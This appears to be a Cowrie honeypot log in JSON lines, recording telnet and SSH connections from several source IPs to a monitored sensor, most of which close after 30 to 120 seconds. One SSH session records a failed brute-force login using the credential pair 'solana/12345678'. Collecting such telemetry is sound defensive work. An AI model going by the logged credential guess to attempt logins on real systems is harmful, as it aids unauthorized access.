{"eventid":"cowrie.session.closed","duration":120.0012640953064,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:17.431613Z","src_ip":"157.49.80.15","session":"29768e87902d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00166416168213,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:17.506221Z","src_ip":"157.49.80.15","session":"5721468015fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":15320,"dst_ip":"10.17.0.5","dst_port":23,"session":"12c97ba4c4bd","protocol":"telnet","message":"New connection: 157.49.80.15:15320 (10.17.0.5:23) [session: 12c97ba4c4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:18.174081Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":54818,"dst_ip":"10.17.0.5","dst_port":23,"session":"8016fb06d668","protocol":"telnet","message":"New connection: 157.49.80.15:54818 (10.17.0.5:23) [session: 8016fb06d668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:18.474433Z"}
{"eventid":"cowrie.session.closed","duration":120.0019760131836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:21.012692Z","src_ip":"157.49.80.15","session":"eea74e7d4a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":58874,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1f8e8b2194","protocol":"telnet","message":"New connection: 157.49.80.15:58874 (10.17.0.5:23) [session: cb1f8e8b2194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:21.581503Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":42930,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dc335bf5242","protocol":"telnet","message":"New connection: 80.65.211.42:42930 (159.203.135.109:23) [session: 8dc335bf5242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:26.382363Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53844,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ad026c4adf","protocol":"telnet","message":"New connection: 80.65.211.42:53844 (159.203.135.109:23) [session: b1ad026c4adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:38.709433Z"}
{"eventid":"cowrie.session.closed","duration":30.879258394241333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:39.867705Z","src_ip":"80.65.211.42","session":"f7bb9851a899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53858,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cad1f01b8f8","protocol":"telnet","message":"New connection: 80.65.211.42:53858 (159.203.135.109:23) [session: 3cad1f01b8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:42.001430Z"}
{"eventid":"cowrie.session.closed","duration":41.34964036941528,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:42.024649Z","src_ip":"80.65.211.42","session":"b0b28018396c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.764862060546875,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:43.040385Z","src_ip":"80.65.211.42","session":"db2abc79ab6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.174224853515625,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:43.955454Z","src_ip":"80.65.211.42","session":"ef89fd8e2f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.193.201.44","src_port":59657,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c4bc6374bd","protocol":"telnet","message":"New connection: 37.193.201.44:59657 (159.203.135.109:23) [session: c2c4bc6374bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:49.090653Z"}
{"eventid":"cowrie.session.closed","duration":120.00171732902527,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:50.654665Z","src_ip":"66.113.191.20","session":"0de53924675c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00195240974426,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:51.303525Z","src_ip":"66.113.191.20","session":"a5a889f681b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00179290771484,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:51.506339Z","src_ip":"66.113.191.20","session":"ae145c19df7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00115633010864,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:51.716082Z","src_ip":"66.113.191.20","session":"1637ced39b52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00113105773926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:53.118777Z","src_ip":"66.113.191.20","session":"e8e798b4f3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00193166732788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:54.082433Z","src_ip":"66.113.191.20","session":"2804081bbe45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00154447555542,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:54.834971Z","src_ip":"66.113.191.20","session":"e0908a5ae69d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182700157166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:55.089262Z","src_ip":"66.113.191.20","session":"1654ee33562e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00095510482788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:55.205619Z","src_ip":"66.113.191.20","session":"0dc7bee757f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160598754883,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:55.398207Z","src_ip":"66.113.191.20","session":"fdd33f87c530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":40534,"dst_ip":"159.203.135.109","dst_port":23,"session":"e76e0f67383a","protocol":"telnet","message":"New connection: 80.65.211.42:40534 (159.203.135.109:23) [session: e76e0f67383a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:57.055406Z"}
{"eventid":"cowrie.session.closed","duration":31.002909660339355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:57.385154Z","src_ip":"80.65.211.42","session":"8dc335bf5242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.503701210021973,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:02.594232Z","src_ip":"37.193.201.44","session":"c2c4bc6374bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72428607940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:09.433609Z","src_ip":"80.65.211.42","session":"b1ad026c4adf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181776523590088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:13.183081Z","src_ip":"80.65.211.42","session":"3cad1f01b8f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47018,"dst_ip":"159.203.135.109","dst_port":23,"session":"5466feef6322","protocol":"telnet","message":"New connection: 80.65.211.42:47018 (159.203.135.109:23) [session: 5466feef6322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:14.713914Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46314,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9782815e955","protocol":"telnet","message":"New connection: 66.113.191.20:46314 (10.17.0.5:23) [session: c9782815e955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:15.586673Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":45430,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9b38abccdd","protocol":"telnet","message":"New connection: 66.113.191.20:45430 (10.17.0.5:23) [session: ce9b38abccdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:15.760674Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"8653ff0e5e08","protocol":"telnet","message":"New connection: 80.65.211.42:47030 (159.203.135.109:23) [session: 8653ff0e5e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:18.056539Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":52394,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece20b1006f1","protocol":"telnet","message":"New connection: 66.113.191.20:52394 (10.17.0.5:23) [session: ece20b1006f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:19.360529Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47034,"dst_ip":"159.203.135.109","dst_port":23,"session":"f75cac4556fd","protocol":"telnet","message":"New connection: 80.65.211.42:47034 (159.203.135.109:23) [session: f75cac4556fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:19.497703Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":57946,"dst_ip":"10.17.0.5","dst_port":23,"session":"2974161058db","protocol":"telnet","message":"New connection: 66.113.191.20:57946 (10.17.0.5:23) [session: 2974161058db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:22.373700Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57742,"dst_ip":"10.17.0.5","dst_port":22,"session":"db98ea5012fc","protocol":"ssh","message":"New connection: 80.94.92.184:57742 (10.17.0.5:22) [session: db98ea5012fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:23.435279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:23.725024Z","src_ip":"80.94.92.184","session":"db98ea5012fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:23.728866Z","src_ip":"80.94.92.184","session":"db98ea5012fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":32820,"dst_ip":"10.17.0.5","dst_port":23,"session":"9942bf83ded9","protocol":"telnet","message":"New connection: 66.113.191.20:32820 (10.17.0.5:23) [session: 9942bf83ded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:24.002452Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:24.365458Z","src_ip":"80.94.92.184","session":"db98ea5012fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:26.042800Z","src_ip":"80.94.92.184","session":"db98ea5012fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.66083836555481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:28.716110Z","src_ip":"80.65.211.42","session":"e76e0f67383a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":53306,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8408adf3f9","protocol":"telnet","message":"New connection: 66.113.191.20:53306 (10.17.0.5:23) [session: df8408adf3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:29.209830Z"}
{"eventid":"cowrie.session.closed","duration":92.46334838867188,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:30.367129Z","src_ip":"66.113.191.20","session":"641ea3c89610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51512,"dst_ip":"159.203.135.109","dst_port":23,"session":"b92348883f4f","protocol":"telnet","message":"New connection: 80.65.211.42:51512 (159.203.135.109:23) [session: b92348883f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:34.677588Z"}
{"eventid":"cowrie.session.closed","duration":91.90615963935852,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:35.200953Z","src_ip":"66.113.191.20","session":"163494e51539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.15095138549805,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:39.798525Z","src_ip":"66.113.191.20","session":"a187f6948018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.76909160614014,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:39.852591Z","src_ip":"66.113.191.20","session":"48c99547e981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.63362765312195,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:39.954648Z","src_ip":"66.113.191.20","session":"25d81f2e9353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.8887619972229,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:39.967089Z","src_ip":"66.113.191.20","session":"511c5456e607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":37232,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecb7a3bf5bc2","protocol":"telnet","message":"New connection: 80.65.211.42:37232 (159.203.135.109:23) [session: ecb7a3bf5bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:44.005971Z"}
{"eventid":"cowrie.session.closed","duration":30.31867742538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:45.905271Z","src_ip":"66.113.191.20","session":"c9782815e955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.433792114257812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:46.194356Z","src_ip":"66.113.191.20","session":"ce9b38abccdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.503117084503174,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:47.216897Z","src_ip":"80.65.211.42","session":"5466feef6322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.663588762283325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:49.720039Z","src_ip":"80.65.211.42","session":"8653ff0e5e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257656574249268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:50.618088Z","src_ip":"66.113.191.20","session":"ece20b1006f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":37242,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6f0b45f787","protocol":"telnet","message":"New connection: 80.65.211.42:37242 (159.203.135.109:23) [session: ae6f0b45f787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:52.955660Z"}
{"eventid":"cowrie.session.closed","duration":31.371349573135376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:53.744954Z","src_ip":"66.113.191.20","session":"2974161058db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29331088066101,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:54.790926Z","src_ip":"80.65.211.42","session":"f75cac4556fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.517388343811035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:54:55.519733Z","src_ip":"66.113.191.20","session":"9942bf83ded9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86163592338562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:00.071378Z","src_ip":"66.113.191.20","session":"df8408adf3f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":57166,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c8724bc0c33","protocol":"telnet","message":"New connection: 80.65.211.42:57166 (159.203.135.109:23) [session: 5c8724bc0c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:00.871248Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47314,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a47a56c7b42","protocol":"telnet","message":"New connection: 80.65.211.42:47314 (159.203.135.109:23) [session: 9a47a56c7b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:05.006042Z"}
{"eventid":"cowrie.session.closed","duration":30.905517578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:05.582993Z","src_ip":"80.65.211.42","session":"b92348883f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47328,"dst_ip":"159.203.135.109","dst_port":23,"session":"73737cee6b1a","protocol":"telnet","message":"New connection: 80.65.211.42:47328 (159.203.135.109:23) [session: 73737cee6b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:07.281350Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47340,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb2de274e3be","protocol":"telnet","message":"New connection: 80.65.211.42:47340 (159.203.135.109:23) [session: eb2de274e3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:08.665152Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":37402,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cbc613dc394","protocol":"telnet","message":"New connection: 80.65.211.42:37402 (159.203.135.109:23) [session: 6cbc613dc394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:16.384429Z"}
{"eventid":"cowrie.session.closed","duration":32.39368295669556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:16.399555Z","src_ip":"80.65.211.42","session":"ecb7a3bf5bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":37412,"dst_ip":"159.203.135.109","dst_port":23,"session":"2362e9802314","protocol":"telnet","message":"New connection: 80.65.211.42:37412 (159.203.135.109:23) [session: 2362e9802314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:17.472913Z"}
{"eventid":"cowrie.session.closed","duration":120.00163650512695,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:18.175577Z","src_ip":"157.49.80.15","session":"12c97ba4c4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182342529297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:18.476227Z","src_ip":"157.49.80.15","session":"8016fb06d668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0011339187622,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:21.582523Z","src_ip":"157.49.80.15","session":"cb1f8e8b2194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":47698,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d984bc53b39","protocol":"telnet","message":"New connection: 157.49.80.15:47698 (10.17.0.5:23) [session: 2d984bc53b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:22.133714Z"}
{"eventid":"cowrie.session.closed","duration":30.724164485931396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:23.679667Z","src_ip":"80.65.211.42","session":"ae6f0b45f787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":37422,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce671b6aaf02","protocol":"telnet","message":"New connection: 80.65.211.42:37422 (159.203.135.109:23) [session: ce671b6aaf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:23.809209Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46066,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cf9cb26b134","protocol":"telnet","message":"New connection: 66.113.191.20:46066 (10.17.0.5:23) [session: 1cf9cb26b134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:29.424031Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":48476,"dst_ip":"10.17.0.5","dst_port":23,"session":"284e2b171f2d","protocol":"telnet","message":"New connection: 157.49.80.15:48476 (10.17.0.5:23) [session: 284e2b171f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:29.852776Z"}
{"eventid":"cowrie.session.closed","duration":30.437341690063477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:55:31.308490Z","src_ip":"80.65.211.42","session":"5c8724bc0c33","protocol":"telnet"}
